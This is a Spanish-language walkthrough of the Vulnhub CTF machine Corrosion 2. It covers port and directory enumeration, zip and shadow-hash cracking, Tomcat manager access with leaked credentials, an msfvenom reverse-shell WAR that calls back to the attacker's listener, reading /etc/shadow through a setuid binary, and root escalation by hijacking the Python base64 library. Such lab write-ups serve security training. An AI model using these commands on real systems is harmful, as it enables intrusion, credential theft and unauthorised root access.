Corrosion 2
Walkthrough de la máquina Corrosion 2 de la serie Corrosion de Vulnhub
Corrosion 2 es la segunda máquina de las 2 CTFs de la serie de Corrosion.
Escaneo de puertos
Lo primero que hacemos es tratar de detectar los puertos que están abiertos en la máquina víctima. Para ello vamos a lanzar un escaneo con nmap
contra todo el rango de puertos (-p-
) usando la plantilla de temporizado más rápida (-T5
), filtrando por los puertos abiertos (--open
), y deshabilitando la resolución DNS (-n
) y el descubrimiento de hosts (-Pn
):
nmap -p- -T5 --open -Pn -n 10.0.103
Resultado:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-04 17:23 CET Nmap scan report for 10.0.103 Host is up (0.00024s latency). Not shown: 65532 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 8080/tcp open http-proxy Nmap done: 1 IP address (1 host up) scanned in 0.99 seconds
De este primer escaneo obtenemos que tenemos los siguientes puertos abiertos: 22 (SSH), 80 (HTTP) y el 8080 (HTTP-PROXY). Sabiendo que estos puertos están abiertos, lo siguiente que vamos a hacer es tratar de detectar qué servicios se están exponiendo y las versiones de los mismos (-sCV
):
nmap -p22,80,8080 -sCV 10.0.0.103
Resultado:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-04 17:26 CET Nmap scan report for corrosion.bikoschool (10.0.103) Host is up (0.00030s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 6ad8446080397ef02d082fe58363f070 (RSA) | 256 f2a662d7e76a94be7b6ba512692efed7 (ECDSA) |_ 256 28e10d048019be44a64873aae86a6544 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works 8080/tcp open http Apache Tomcat 9.0.53 |_http-title: Apache Tomcat/9.0.53 |_http-favicon: Apache Tomcat |_http-open-proxy: Proxy might be redirecting requests Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 6.71 seconds
Del resultado de este escaneo más detallado obtenemos lo siguiente:
22/tcp
: SSH - OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)80/tcp
: HTTP - Apache httpd 2.4.41 ((Ubuntu))8080/tcp
: HTTP - Apache Tomcat 9.0.53
Análisis de los servicios HTTP (80,8080/TCP)
Listado de directorios básico (80/TCP)
Como el escaneo de puertos nos indica que el puerto 80 está abierto con un servicio HTTP expuesto, lo primero que podemos hacer es ver qué se está exponiendo en ese puerto. Para ello introducimos la IP de la máquina víctima en nuestro navegador y vemos el resultado. Tras hacerlo, comprobamos que lo único que nos muestra es la página por defecto de instalación de Apache, así que vamos a tener que buscar otra forma de obtener posibles rutas existentes.
Para identificar estas rutas vamos a usar Gobuster indicándole que queremos listar directorios (dir
) contra la IP de la máquina victima (-u
), usando extensiones adicionales (-x
), y usando un diccionario orientado a listado de directorios (-w
):
gobuster dir -u http://10.0.0.103 -x html,txt,php -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
Resultado:
=============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.0.0.103 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Extensions: html,txt,php [+] Timeout: 10s =============================================================== 2023/03/10 18:31:19 Starting gobuster in directory enumeration mode =============================================================== /index.html (Status: 200) [Size: 10918] /server-status (Status: 403) [Size: 275] =============================================================== 2023/03/10 18:39:18 Finished ===============================================================
Del resultado del escaneo no obtenemos ningún resultado interesante. El primero es la propia página que hemos visto en el navegador, y al segundo (server-status
) no podemos acceder. Como aquí no econtramos nada interesante, tendremos que probar con el otro servicio HTTP expuesto por el puerto 8080.
Listado de directorios básico (8080/TCP)
Como no hemos encontrado nada por el puerto 80, vamos repetir el proceso por el puerto 8080. Usamos Gobuster con la misma configuración pero contra el otro puerto:
gobuster dir -u http://10.0.0.103:8080 -x html,txt,php -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
Resultado relevante (se han eliminado parte de los errores 400):
=============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.0.0.103:8080 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Extensions: html, [+] Timeout: 10s =============================================================== 2023/03/10 18:32:00 Starting gobuster in directory enumeration mode =============================================================== /docs (Status: 302) [Size: 0] [--> /docs/] /examples (Status: 302) [Size: 0] [--> /examples/] /readme.txt (Status: 200) [Size: 153] /manager (Status: 302) [Size: 0] [--> /manager/] /http%3A%2F%2Fwww (Status: 400) [Size: 804] ... /http%3A%2F%2Fswik. (Status: 400) [Size: 804] =============================================================== 2023/03/10 18:39:15 Finished ===============================================================
Del resultado obtenemos que existen 3 rutas que pueden ser interesantes:
- /docs: que redirige a /docs/
- /examples: que redirige a /examples/
- /manager: que redirige a /manager/
- /readme.txt: fichero que puede contener información relevante
Si accedemos a las diferentes rutas, vemos que tanto en /docs/ como /examples/ podemos navegar y acceder a diferentes recursos, pero todos estos recursos son propios de Tomcat. Por otro lado, si entramos a /manager/ para acceder a la parte de administración, nos pide un usuario y contraseña que no tenemos. Finalmente, si accedemos al fichero note.txt
nos encontramos con la siguiente pista:
Hey randy! It's your System Administrator. I left you a file on the server, I'm sure nobody will find it. Also remember to use that password I gave you.
De ahí obtenemos que hay un usuario llamado randy, y que ha dejado un fichero en el servidor que estará protegido por una contraseña. Esto nos indica que tenemos que seguir buscando algún fichero con alguna extensión que no hayamos buscado aún.
Listado de otros tipos de ficheros (80,8080/TCP)
Como no hemos encontrado nada haciendo uso de la extensiones más típicas (html, php, txt), vamos a probar a lanzar otro escaneo usando otras extensiones que pueden ser interesantes, como por ejemplo zip. Para ello usamos Gobuster de nuevo contra ambos puertos. Empezamos por el puerto 80:
gobuster dir -u http://10.0.0.103 -x zip -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
Como no hemos obtenido ningún resultado nuevo, probamos con el puerto 8080:
gobuster dir -u http://10.0.0.103:8080 -x zip -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
Resultado relevante (se han eliminado parte de los errores 400):
=============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.0.0.103:8080 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Extensions: zip [+] Timeout: 10s =============================================================== 2023/03/12 11:52:30 Starting gobuster in directory enumeration mode =============================================================== /docs (Status: 302) [Size: 0] [--> /docs/] /examples (Status: 302) [Size: 0] [--> /examples/] /backup.zip (Status: 200) [Size: 33723] /manager (Status: 302) [Size: 0] [--> /manager/] /http%3A%2F%2Fwww (Status: 400) [Size: 804] ... /http%3A%2F%2Fswik.zip (Status: 400) [Size: 804] =============================================================== 2023/03/12 11:55:38 Finished ===============================================================
Ahora sí que hemos encontrado algo nuevo que no habíamos descubierto anteriormente:
- /backup.zip
Análisis del fichero backup.zip
Del último escaneo obtuvimos que en el servicio HTTP expuesto por el puerto 8080 existe un fichero backup.zip
. Lo que vamos a hacer es descargarlo en la máquina atacante con wget
y descomprimirlo con unzip
para ver qué hay dentro:
wget http://10.0.0.103:8080/backup.zip unzip backup.zip -d backup
Al hacer esto nos encontramos con que nos pide una contraseña para poder descomprimirlo, así que vamos a seguir el mismo procedimiento que seguimos en la guía de la máquina Corrosion 1. Primero obtenemos el hash con zip2john
y a continuación crackeamos el hash mediante un ataque de fuerza bruta con John the Ripper:
zip2john backup.zip > hash.txt john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Resultado:
Using default input encoding: UTF-8 Loaded 1 password hash (PKZIP [32/64]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status @administrator_hi5 (backup.zip) 1g 0:00:00:00 DONE (2023-03-12 12:07) 1.265g/s 14548Kp/s 14548Kc/s 14548KC/s @b00d@!m@l..:kso6d Use the "--show" option to display all of the cracked passwords reliably Session completed
John the Ripper nos revela que la contraseña del zip es @administrator_hi5
, así que ahora ya podemos descomprimir el fichero backup.zip y ver qué hay dentro:
backup ├── catalina.policy ├── catalina.properties ├── context.xml ├── jaspic-providers.xml ├── jaspic-providers.xsd ├── logging.properties ├── server.xml ├── tomcat-users.xml ├── tomcat-users.xsd └── web.xml
Dentro del backup.zip tenemos una serie de archivos de configuración del servidor de Tomcat. Si indagamos un poco por los archivos, dentro del fichero tomcat-users.xml
podemos encontrar lo siguiente:
<role rolename="manager-gui"/> <user username="manager" password="melehifokivai" roles="manager-gui"/> <role rolename="admin-gui"/> <user username="admin" password="melehifokivai" roles="admin-gui, manager-gui"/>
De aquí obtenemos 2 usuarios que comparten contraseña:
- manager: melehifokivai
- admin: melehifokivai
Si usamos las credenciales del usuario admin en la autenticación que nos aparecía en `http://10.0.0.103:8080/manager/ comprobamos que nos deja acceder al panel de administración de Tomcat.
Ganando acceso a la máquina víctima
Como tenemos acceso como administrador al gestor de aplicaciones de Tomcat, lo que vamos a tratar de hacer es subir una aplicación maliciosa a la máquina víctima que nos permita ganar acceso a la misma.
Para crear esa aplicación maliciosa usamos msfvenom
indicándole que queremos usar un payload para java que nos entable una reverse shell (-p java/shell_reverse_tcp
), en formato war (-f war
), con el nombre reverse.war (reverse.war
), e índicándole la IP (LHOST
) y puerto (LPORT
) en la que estaremos escuchando:
msfvenom -p java/shell_reverse_tcp LHOST=10.0.0.100 LPORT=8888 -f war -o reverse.war
Resultado:
Payload size: 13314 bytes Final size of war file: 13314 bytes Saved as: reverse.war
Una vez tenemos nuestro archivo jar malicioso, nos ponemos en escucha en el puerto que hemos indicado al generar el jar usando netcat
:
nc -nlvp 8888
Recibiendo el mensaje de confirmación de que estamos escuchando:
listening on [any] 8888 ...
Y a continuación subimos nuestro archivo usando la interfaz de administración de Tomcat:
Tras seleccionar nuestro fichero y darle a "Deploy", la aplicación debería aparecer listada en la sección de "Applications" con el path /reverse
. Si ahora vamos a esa url deberíamos recibir la conexión a nuestro netcat:
connect to [10.0.0.100] from (UNKNOWN) [10.0.0.103] 38672
Ahora, para poder tener una shell completamente interactiva, lanzamos una pseudo consola con script /dev/null -c bash
, presionamos Ctrl + z
y hacemos un tratamiento de la tty con stty raw -echo; fg
. Hacemos reset
para reiniciar la configuración de la terminal, escribirmos xterm
como tipo de terminal y exportamos 2 variables de entorno:
export TERM=xterm
export SHELL=bash
Con esto ya deberíamos poder hacer Ctrl + c
para terminar la ejecución de un comando, o Ctrl + l
para limpiar la terminal. También podemos ir atrás en el histórico de comandos.
Si comprobamos el usuario y la IP, obtenemos que estamos conectados como el usuario tomcat y que estamos en la IP de la máquina víctima, por lo que no nos encontramos en ningún entorno virtualizado (LXC, docker, ...).
Pivotando al usuario jaye
Si investigamos un poco los directorios en /home
y el contenido del fichero /etc/passwd
obtenemos que existen los siguientes usuarios:
- root
- jaye
- randy
- tomcat
Es muy común que las contraseñas se reutilicen así que una cosa que podemos hacer es probar todas las contraseñas que hemos ido obteniendo contra los diferentes usuarios. Actualmente hemos obtenido las siguitenes:
@administrator_hi5
melehifokivai
Si vamos probando las contraseñas con los diferentes usuarios, comprobaremos que la contraseña melehifokivai
es válida para el usuario jaye
.
Pivotando al usuario randy
Buscando entre los archivos de jaye nos encontramos un ejecutable setuid cuyo propietario es root en /home/jaye/Files/look
. Si vamos a ese directorio y tratamos de ejecutarlo (./look
) obtenemos lo siguiente:
usage: look [-bdf] [-t char] string [file ...]
Parece que lo que hace es buscar una cadena en una lista de ficheros. Si juegas un poco con el ejecutable ves que hace una especia de grep
contra el fichero indicado así que podemos probar, por ejemplo, a ver si somos capaces de acceder al contenido del fichero /etc/shadow
. Intentamos obtener el hash del usuario randy:
./look "randy" /etc/shadow
Resultado:
randy:$6$bQ8rY/73PoUA4lFX$i/aKxdkuh5hF8D78k50BZ4eInDWklwQgmmpakv/gsuzTodngjB340R1wXQ8qWhY2cyMwi.61HJ36qXGvFHJGY/:18888:0:99999:7:::
Como podemos leer líneas del archivo, guardamos el contenido anterior relativo al usuario randy en un fichero (shadow.txt
). Obtenemos la información de randy del fichero /etc/passwd
con el comando cat /etc/passwd | grep randy
y lo guardamos en otro fichero (passwd.txt
). A continuación preparamos el hash con unshadow
y tratamos de crackearlo con John the Ripper:
unshadow passwd.txt shadow.txt > unshadowed.txt john --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt
Resultado (tras esperar un rato):
Using default input encoding: UTF-8 Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x]) Cost 1 (iteration count) is 5000 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status 07051986randy (randy) 1g 0:00:42:32 DONE (2023-03-12 14:23) 0.000391g/s 5458p/s 5458c/s 5458C/s 070552898..070488m Use the "--show" option to display all of the cracked passwords reliably Session completed
El resultado nos indica que la contraseña del usuario randy es 07051986randy
. Podemos verificarlo ejecutando su randy
en la máquina víctima o conectándonos mediante SSH (ssh randy@10.0.0.103
).
Si listamos el contenido del directorio home del usuario randy
/home/randy
encontramos el primer flag (user.txt
):ca73a018ae6908a7d0ea5d1c269ba4b6
.
Ganando acceso como root
Cuando hemos listado el contenido del directorio home de randy, hemos visto que tenemos un script en Python cuyo propietario es root, y también hay un fichero note.txt
.
-rw-r--r-- 1 root root 283 Sep 20 2021 note.txt -rwxr-xr-x 1 root root 210 Sep 20 2021 randombase64.py
El note.txt
tiene el siguiente contenido:
Hey randy this is your system administrator, hope your having a great day! I just wanted to let you know that I changed your permissions for your home directory. You won't be able to remove or add files for now. I will change these permissions later on. See you next Monday randy!
Lo que nos indica que no podemos modificar ni escribir en el directorio home de randy, impidiéndonos reemplazar el contenido del fichero randombase64.py
por otro que nos proporcione una shell como root.
Por otro lado, tenemos el script en python con el siguiente contenido:
import base64 message = input("Enter your string: ") message_bytes = message.encode('ascii') base64_bytes = base64.b64encode(message_bytes) base64_message = base64_bytes.decode('ascii') print(base64_message)
El cual importa la librería base64
, pide que el usario introduzca una cadena de texto y la codifica en base64.
Si consultamos los permisos del usuario ejecutando sudo -l
obtenemos lo siguiente:
Matching Defaults entries for randy on corrosion: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User randy may run the following commands on corrosion: (root) PASSWD: /usr/bin/python3.8 /home/randy/randombase64.py
Lo que nos indica que podemos ejecutar como root tanto el script /home/randy/randombase64.py
y como el binario de python /usr/bin/python3.8
. Esto significa que podríamos modificar el código de la librería base64
haciendo que nos proporcione una shell como root. Esta técnica se conoce como Python Library Hijacking.
Lo primero que tenemos que hacer es encontrar dónde se encuentra la librería a modificar, así que ejecutamos locate base64.py
. El resultado nos indica que se encuentra en /usr/lib/python3.8/base64.py
, así que con nano
agregamos las siguientes 2 líneas después de los imports:
import os os.system ("/bin/bash")
Guardamos el fichero y ejecutamos el script randombase64.py
con sudo:
sudo /usr/bin/python3.8 /home/randy/randombase64.py
Tras esto, ya tendríamos acceso como root a la máquina víctima. Lo siguiente sería encontrar el flag del usuario root.
Si listamos el contenido del directorio home del usuario root
/root
encontramos el segundo flag (root.txt
):2fdbf8d4f894292361d6c72c8e833a4b
.